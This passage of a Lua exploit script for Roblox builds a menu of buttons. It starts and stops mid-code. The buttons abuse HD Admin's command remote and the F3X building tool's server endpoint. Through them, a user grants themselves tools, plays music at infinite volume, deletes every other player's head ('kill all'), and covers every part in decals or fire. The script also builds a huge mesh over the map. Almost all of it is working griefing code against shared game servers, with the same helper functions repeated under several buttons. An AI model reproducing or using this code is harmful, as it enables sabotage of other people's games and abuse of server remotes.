scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "jumpstyle" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 1839246711") RequestCommand:InvokeServer(";pitch 0.8") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.14, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "electro sp00k" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 99986264226275") RequestCommand:InvokeServer(";pitch 0.2") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.14, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "hardstyle" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 1839246774") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.14, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Sp00ky dubstep" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 118324869664952") RequestCommand:InvokeServer(";volume inf") RequestCommand:InvokeServer(";pitch 1.26") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.18, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "nuke siren" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 6525690145") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.18, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "1x1x1x1" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 139488665764275") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.18, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "red sun" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 121922837560201") RequestCommand:InvokeServer(";volume inf") RequestCommand:InvokeServer(";pitch 0.3") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.18, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "sky high" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 96507001292089") RequestCommand:InvokeServer(";pitch 0.65") RequestCommand:InvokeServer(";volume inf") end) local titleLabel = Instance.new("TextLabel") titleLabel.Size = UDim2.new(1, 0, 0, 40) titleLabel.Position = UDim2.new(0, 0, 0.25, 1) titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1) titleLabel.BorderSizePixel = 0 titleLabel.BorderColor3 = Color3.new(0, 0, 1) titleLabel.Font = Enum.Font.Roboto titleLabel.Text = "F3X Scripts" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 30 titleLabel.Parent = mainFrame local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.3, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Get F3X" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";btools") RequestCommand:InvokeServer(";give me b") RequestCommand:InvokeServer(";give me F3X") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.3, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("113990905248936") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.3, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Decal" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("113990905248936") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.3, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "kill all" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function KillAll() for i,v in game.Players:GetPlayers() do spawn(function() SetLocked(v.Character.Head,false) DestroyPart(v.Character.Head) end) end end KillAll() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.34, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Thomas" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local player = game.Players.LocalPlayer local char = player.Character function xd() spawn(function() local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Torso, ["Transparency"] = 1 }, [2] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"), ["Transparency"] = 1 }, [3] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart, ["Transparency"] = 1 }, [4] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"), ["Transparency"] = 1 }, [5] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"), ["Transparency"] = 1 }, [6] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"), ["Transparency"] = 1 }, [7] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Head, ["Transparency"] = 1 }, } } _(args) end) end function Thomas(player) SetAnchor(true,char.HumanoidRootPart) CreatePart(char.HumanoidRootPart.CFrame,char,"Normal") SetCollision(char.Part,false) SetLocked(char.Part,false) Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame) CreateSpotlight(char.Part) SyncLighting(char.Part,100) SetLocked(char.HumanoidRootPart,false) Weld(char.Part,char.HumanoidRootPart,char.Part) SetAnchor(false,char.Part) AddMesh(char.Part) MeshResize(char.Part,Vector3.new(2,2,1.5)) SetMesh(char.Part,"2231280549") SetTexture(char.Part,"2231280614") SetAnchor(false,char.HumanoidRootPart) char.Humanoid.WalkSpeed = 80 local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end char.Part.Touched:connect(function(p) if p.Parent then if p.Parent:IsA("Model") then if game.Players:FindFirstChild(p.Parent.Name) then if p.Parent.Name ~= game.Players.LocalPlayer.Name then spawn(function() DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head) end) local Whistle = SFX(475073913) Whistle:Play() end end end end end) local Music = SFX(0) Music.Pitch = 1.15 Music:Play() game:GetService("RunService").RenderStepped:Connect(function() for i,v in char:GetDescendants() do if v:IsA("BasePart") then char.Humanoid.WalkSpeed = 80 v.CanCollide = false end end end) end Thomas(player) xd() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.34, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Fire all" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() local player = game.Players.LocalPlayer end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.34, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto 